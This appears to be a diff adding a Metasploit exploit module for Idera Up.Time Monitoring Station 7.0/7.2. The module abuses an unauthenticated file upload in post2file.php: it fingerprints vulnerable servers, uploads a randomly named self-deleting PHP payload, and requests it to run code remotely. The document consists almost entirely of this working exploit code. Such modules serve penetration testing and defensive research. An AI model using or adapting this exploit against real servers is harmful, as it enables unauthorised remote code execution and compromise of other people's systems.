|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | + |
| 7 | +require 'msf/core' |
| 8 | + |
| 9 | +class Metasploit3 < Msf::Exploit::Remote |
| 10 | + Rank = ExcellentRanking |
| 11 | + |
| 12 | + include Msf::Exploit::Remote::HttpClient |
| 13 | + include Msf::Exploit::PhpEXE |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'Idera Up.Time Monitoring Station 7.0 post2file.php Arbitrary File Upload', |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits an arbitrary file upload vulnerability found within the Up.Time |
| 20 | + monitoring server 7.2 and below. A malicious entity can upload a PHP file into the |
| 21 | + webroot without authentication, leading to arbitrary code execution. |
| 22 | +
|
| 23 | + Although the vendor fixed Up.Time to prevent this vulnerability, it was not properly |
| 24 | + mitigated. To exploit against a newer version of Up.Time (such as 7.4), please use |
| 25 | + exploits/multi/http/uptime_file_upload_2. |
| 26 | + }, |
| 27 | + 'Author' => |
| 28 | + [ |
| 29 | + 'Denis Andzakovic <denis.andzakovic[at]security-assessment.com>' # Vulnerability discoverey and MSF module |
| 30 | + ], |
| 31 | + 'License' => MSF_LICENSE, |
| 32 | + 'References' => |
| 33 | + [ |
| 34 | + [ 'OSVDB', '100423' ], |
| 35 | + [ 'BID', '64031'], |
| 36 | + [ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Up.Time%207.2%20-%20Arbitrary%20File%20Upload.pdf' ] |
| 37 | + ], |
| 38 | + 'Payload' => |
| 39 | + { |
| 40 | + 'Space' => 10000, # just a big enough number to fit any PHP payload |
| 41 | + 'DisableNops' => true |
| 42 | + }, |
| 43 | + 'Platform' => 'php', |
| 44 | + 'Arch' => ARCH_PHP, |
| 45 | + 'Targets' => |
| 46 | + [ |
| 47 | + [ 'Up.Time 7.0/7.2', { } ], |
| 48 | + ], |
| 49 | + 'DefaultTarget' => 0, |
| 50 | + 'DisclosureDate' => 'Nov 19 2013')) |
| 51 | + |
| 52 | + register_options([ |
| 53 | + OptString.new('TARGETURI', [true, 'The full URI path to the Up.Time instance', '/']), |
| 54 | + Opt::RPORT(9999) |
| 55 | + ], self.class) |
| 56 | + end |
| 57 | + |
| 58 | + def check |
| 59 | + uri = target_uri.path |
| 60 | + |
| 61 | + res = send_request_cgi({ |
| 62 | + 'method' => 'POST', |
| 63 | + 'uri' => normalize_uri(uri, 'wizards', 'post2file.php') |
| 64 | + }) |
| 65 | + |
| 66 | + if res and res.code == 500 and res.body.to_s =~ /<title><\/title>/ |
| 67 | + return Exploit::CheckCode::Appears |
| 68 | + end |
| 69 | + |
| 70 | + return Exploit::CheckCode::Safe |
| 71 | + |
| 72 | + end |
| 73 | + |
| 74 | + def exploit |
| 75 | + print_status("#{peer} - Uploading PHP to Up.Time server") |
| 76 | + uri = target_uri.path |
| 77 | + |
| 78 | + @payload_name = "#{rand_text_alpha(5)}.php" |
| 79 | + php_payload = get_write_exec_payload(:unlink_self => true) |
| 80 | + |
| 81 | + post_data = ({ |
| 82 | + "file_name" => @payload_name, |
| 83 | + "script" => php_payload |
| 84 | + }) |
| 85 | + |
| 86 | + print_status("#{peer} - Uploading payload #{@payload_name}") |
| 87 | + res = send_request_cgi({ |
| 88 | + 'method' => 'POST', |
| 89 | + 'uri' => normalize_uri(uri, 'wizards', 'post2file.php'), |
| 90 | + 'vars_post' => post_data, |
| 91 | + }) |
| 92 | + |
| 93 | + unless res and res.code == 200 and res.body.to_s =~ /<title><\/title>/ |
| 94 | + fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed") |
| 95 | + end |
| 96 | + |
| 97 | + print_status("#{peer} - Executing payload #{@payload_name}") |
| 98 | + res = send_request_cgi({ |
| 99 | + 'uri' => normalize_uri(uri, 'wizards', @payload_name), |
| 100 | + 'method' => 'GET' |
| 101 | + }) |
| 102 | + end |
| 103 | +end |
0 commit comments